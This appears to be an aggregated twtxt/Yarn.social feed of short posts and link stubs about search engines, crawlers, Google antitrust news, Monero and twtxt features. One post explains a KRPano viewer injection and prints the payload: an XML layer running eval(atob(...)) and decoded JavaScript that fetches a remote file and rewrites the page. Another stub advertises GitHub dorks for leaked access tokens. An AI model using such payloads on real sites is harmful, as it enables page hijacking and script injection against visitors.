“I use zip bombs to protect my server”
The majority of the traffic on the web is from bots. For the most part, these bots are used to discover new content. These are RSS Feed readers, search engines crawling your content, or nowadays AI bots crawling content to power LLMs. But then there are the malicious bots. These are from spammers, content scrapers or hackers. At my old employer, a bot discovered a wordpress vulnerability and inserted a malicious script into our server. It then turned the m … ⌘ Read more

Do you really need a Vector Search Database?
Comments ⌘ Read more

@andros@twtxt.andros.dev what makes Kagi “the best search engine”? It is premium, alright. Allegedly you don’t get ads, but pay up-front for it, monthly.

@thecanine@twtxt.net Yeah this is where I think all the hype really falls down. It’s all just a really really expensive search engine and auto-complete 🤦‍♂️ That’s it!

Archie anonymous FTP search revival
Comments ⌘ Read more

Elasticsearch Hybrid Search Recipes - Benchmarked
Comments ⌘ Read more

/ME slipping a note under @klaxzy@klaxzy.net’s keyboard.

Note: “You should check https://marginalia-search.com/ I bet you’ll love it.”

Oddly, in defense of Google keeping Chrome
As much as I’m a fan of breaking up Google, I’m not entirely sure carving Chrome out of Google without a further plan for what happens to the browser is a great idea. I mean, Google is bad, but but things could be so, so much worse. OpenAI would be interested in buying Google’s Chrome if antitrust enforcers are successful in forcing the Alphabet unit to sell the popular web browser as part of a bid to restore competition in search, an OpenAI execu … ⌘ Read more

Hmmm there’s a bug somewhere in the way I’m ingesting archived feeds 🤔

sqlite> select * from twts where content like 'The web is such garbage these days%';
      hash = 37sjhla
  feed_url = https://twtxt.net/user/prologic/twtxt.txt/1
   content = The web is such garbage these days 😔 Or is it the garbage search engines? 🤔
   created = 2024-11-14T01:53:46Z
created_dt = 2024-11-14 01:53:46
   subject = #37sjhla
  mentions = []
      tags = []
     links = []
sqlite>

Timeline of Evolution of Twtxt/Yarn.social:

• 2016 – Twtxt created by John Downey: plain text + HTTP = minimalist microblogging
  
• 2017–2019 – Community builds CLI tools, but adoption remains niche
  
• 2020 – Yarn.social launched by @prologic@twtxt.net with federation, threading, UI
  
• 2021–2023 – Pods sync, user mentions, blocking, search, and media support added
  
• 2024+ – Yarn.social becomes the reference Twtxt platform, with active federated pods

$10,000 worth GitHub Access Tokens | Secret Search Operators

Image

Secret but basic GitHub dorks & search operators that can lead to $10k bounty worth Acess Tokens.

[Continue reading on InfoSec Write-ups »](https://infosecwriteups.com/10- … ⌘ Read more

Dam the search here is sooo good now 😅

Windows Recall returns, and its companion feature does not keep data on-device
Remember Windows Recall, the Windows feature that would take a screenshot of your desktop every three seconds, stored them in a database, and then let you search through them at later dates? The feature has been hobbled by implementation problems, security issues, and privacy troubles, and has been released in preview and pulled since its original unveiling. Well, it’s back in … ⌘ Read more

Anyway. this was a good use for search btw. I couldn’t find my Twt, so I just quickly searched for it, snap, bingo I found it in a snap! 🫰

@prologic@twtxt.net, from IRC:

1. Saving preferences is failing. Specifically trying to save “Open Links” on the same window. For sure it isn’t happening. Check errors on browser’s console.
   
2. Search results pagination is broken. Search for “twtxt.net” and see it. Also, picking oldest/newest makes no difference on that search query.

@prologic@twtxt.net I can live without highlights. Actually, I prefer not to have them. A good search is all I want.

Search syntax appears to be:

hello
"hello world"
hello AND world
hello OR world
hello NOT world
"this is a phrase"

@prologic@twtxt.net pretty neat, search actually works now!

@lyse@lyse.isobeef.org I’m open to other suggestions 🤣 But hopefully both adding the additional prompt, not allowing it to enter shell history and removing from my shell history prevents me from doing such silly things in haste by pressing ^R and using fuzzy search which if you type fast you sometimes get wrong 😑

FYI: I’ve re-opened up search for anonymous use. So things like this now work without having to have an account on this pod or login. 👌 #search #twtxt

After searching for 5 hours I found him in the freaking walls ⌘ Read more

Don’t search hidden files or ignored but show them in explorer with lazyvim snacks? ⌘ Read more

Claude can now search the web
Article URL: https://www.anthropic.com/news/web-search

Comments URL: https://news.ycombinator.com/item?id=43425655

Points: 518

# Comments: 265 ⌘ Read more

Tonnes of fruit lost as drought drives birds into SA orchards
Booming bird populations are searching for more food sources in the Adelaide Hills during the drought, devastating farmers in what had been a good season. ⌘ Read more

DOJ Says Google Must Sell Chrome, Can Keep AI
Plus: No more default Search Engine payments to Mozilla or Apple. ⌘ Read more

Google, DuckDuckGo massively expand “AI” search results
Clearly, online search isn’t bad enough yet, so Google is intensifying its efforts to continue speedrunning the downfall of Google Search. They’ve announced they’re going to show even more “AI”-generated answers in Search results, to more people. Today, we’re sharing that we’ve launched Gemini 2.0 for AI Overviews in the U.S. to help with harder questions, starting with coding, advanced math and multimodal queries, with mor … ⌘ Read more

This little shit had me searching the streets nonstop for three days. Roast him. ⌘ Read more

[WTS] [~4 XMR] Monero-chan.com domain

I currently have it listed on Unstoppable Domains for $1000 (roughly equivalent to 4 XMR). If anyone buys this within a week, I’ll donate 1 XMR to this sub’s Monero-chan art fund. :)

Link: https://unstoppabledomains.com/search?searchTerm=monero-chan&ref=club&tlds=com

u/UDTradingClub (Reddit) ⌘ Read more

Privacy Pass Authentication for Kagi Search
Article URL: https://blog.kagi.com/kagi-privacy-pass

Comments URL: https://news.ycombinator.com/item?id=43040521

Points: 501

# Comments: 184 ⌘ Read more

reviewing logs this morning and found i have been spammed hard by bots not respecting the robots.txt file. only noticed it because the OpenAI bot was hitting me with a lot of nonsensical requests. here is the list from last month:

• (810) bingbot
  
• (641) Googlebot
  
• (624) http://www.google.com/bot.html
  
• (545) DotBot
  
• (290) GPTBot
  
• (106) SemrushBot
  
• (84) AhrefsBot
  
• (62) MJ12bot
  
• (60) BLEXBot
  
• (55) wpbot
  
• (37) Amazonbot
  
• (28) YandexBot
  
• (22) ClaudeBot
  
• (19) AwarioBot
  
• (14) https://domainsbot.com/pandalytics
  
• (9) https://serpstatbot.com
  
• (6) t3versionsBot
  
• (6) archive.org_bot
  
• (6) Applebot
  
• (5) http://search.msn.com/msnbot.htm
  
• (4) http://www.googlebot.com/bot.html
  
• (4) Googlebot-Mobile
  
• (4) DuckDuckGo-Favicons-Bot
  
• (3) https://turnitin.com/robot/crawlerinfo.html
  
• (3) YandexNews
  
• (3) ImagesiftBot
  
• (2) Qwantify-prod
  
• (1) http://www.google.com/adsbot.html
  
• (1) http://gais.cs.ccu.edu.tw/robot.php
  
• (1) YaK
  
• (1) WBSearchBot
  
• (1) DataForSeoBot
  

i have placed some middleware to reject these for now but it is not a full proof solution.

[ANN] Monero’s dominance in OrangeFren.com search stats

Each and every month Monero has been taking the lead. Here’s the latest numbers for January 2025 [..] As you can see the numbers are pretty stable. 30-40% for Monero, ~25% for Bitcoin.

Links:

• https://orangefren.com/
  
• https://farside.link/libreddit/r/Monero/comments/1if8ue2/
  

orangefren.com ⌘ Read more

4 steps to building a natural language search tool
Empowering humanitarian action with open source: A natural language search tool for UN Resolutions.

The post 4 steps to building a natural language search tool appeared first on The GitHub Blog. ⌘ Read more

Unit Circle
⌘ Read more

@slashdot@feeds.twtxt.net Who the F+++ still uses goo’s search engine anyway xD Shout out to all my homies hosting a Searx instance 😂🤘

Google begins requiring JavaScript for Google Search
Google says it has begun requiring users to turn on JavaScript, the widely used programming language to make web pages interactive, in order to use Google Search. In an email to TechCrunch, a company spokesperson claimed that the change is intended to “better protect” Google Search against malicious activity, such as bots and spam, and to improve the overall Google Search experience for users. The spokesperson noted that, with … ⌘ Read more

10 Mysterious Military Sites in America
Military sites are located all around America, and even the world. Many of these are easily accessible and can be found with a simple online search. However, some military sites remain very secretive to this day. Many of these secret sites are located well behind barbed-wire fencing or deep underground. It’s tough to locate these […]

The post [10 Mysterious Military Sites in America](https://listverse.com/2025/01/17/10-mysterious-military-sites-in-amer … ⌘ Read more

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

How to Stop Spotlight Search Data on Mac from Being Shared with Apple
Did you know that, by default, your Mac search queries entered into Spotlight, Safari, Siri, Lookup, and #images, are sent to Apple? While this information is anonymized so as not to be identifying, and Apple says it’s used to improve search results, many Mac users may not want this search information being shared with Apple … [Read More](https://osxdaily.com/2025/01/10/how-stop-spotlight-search-data-mac-sharing-app … ⌘ Read more

@andros@twtxt.andros.dev Sorry I missed your messages to #twtxt on IRC. There are people there, but it can take several hours to get a response. E.g. I check it every day or two. I recommend using an IRC bouncer. To answer your question about registries, I used a couple of registries when I first started out, to try to find feeds to follow, but haven’t since then. I don’t remember which ones, but they were easy to find with web searches.

Optimising prompt engineering for better AI outputs
Member post originally published on the yld blog by Afonso Ramos Remember when searching for information online involved typing in a few keywords and sifting through pages of results? Thankfully, those days are long gone.  Today’s… ⌘ Read more

Remembered about one ISP which disallow IRC stuff on his servers. By searching i found what it’s many ISP’s which equals IRC to proxy and doorways. This is unfair!

Google Tells Courts How Google Should Be Punished (and Tried to Hide it)
Released Friday before Christmas – the ideal time to hide any announcement – in response to losing an antitrust suit, Google proposes no real changes to their company or search business. ⌘ Read more

GNOME & KDE Team Up on Paid Flathub Software Store
GNOME broke and doing layoffs, KDE searching for revenue, & an ill-fated App Store project. ⌘ Read more

Thousands of avocado trees ripped out as growers look for more profitable crops
Push it over. Pile it up. Strike a match. That’s been the fate of thousands of avocado trees as growers destroy entire paddocks in search of more profitable crops. ⌘ Read more

How to Fix Spotlight Search Issues on MacOS Sequoia
A fair number of Mac users have discovered that Spotlight Search is not working well in MacOS Sequoia, either missing files, apps, and sometimes not working at all to find any local file. For some users the issues with Spotlight happens right after they update to MacOS Seqouia, and for others it may happen later … Read More ⌘ Read more

[ANN] Searching for more Monerotopia24 hackers

The hackathon will occur all 4 days of the Conference in the TERRACE/LOFT of the Venue, Huerto Roma Verde, BUT we do have a house dedicated to the Hackers for those interested in rooming with the hackers BUT we only have 1 spot left in the house! So please reach out asap if interested in that spot!

Date: November 14-17th
Location: TERRACE/LOFT area in MoneroTopia24 Confer in Huerto Roma Verde, Mexico City

Links:

• [https://farside.link/libreddit/r/Monero/comments/1gh5zfh … ⌘ Read more

Memos
With the current drama around WordPress and Automattic, I was searching for alternatives to Simplenote, the app I am currently using to save my notes and keep them synced. ⌘ Read more

Yes. Mozilla is an Advertising Company Now.
The core Mozilla business has shifted from Firefox and search engines… ⌘ Read more

I share I did write up an algorithm for it at some point I think it is lost in a git comment someplace. I’ll put together a pseudo/go code this week.

Super simple:

Making a reply:

1. If yarn has one use that. (Maybe do collision check?)
   
2. Make hash of twt raw no truncation.
   
3. Check local cache for shortest without collision
   
   • in SQL: select len(subject) where head_full_hash like subject || '%'
     

Threading:

1. Get full hash of head twt
   
2. Search for twts
   
   • in SQL: head_full_hash like subject || '%' and created_on > head_timestamp
     

The assumption being replies will be for the most recent head. If replying to an older one it will use a longer hash.

Diving into mblaze, I think I’ve nearly* reached peek email geek.

Just a bunch of shell commands I can pipe together to search, list, view and reply to email (after syncing it to a local Maildir).

EXAMPLES at https://git.vuxu.org/mblaze/tree/README

So far I’m using most of the tools directly from the command line, but I might take inspiration from https://sr.ht/~rakoo/omail/ to make my workflow a bit more efficient.

*To get any closer, I think I’d have to hand-craft my own SMTP client or something.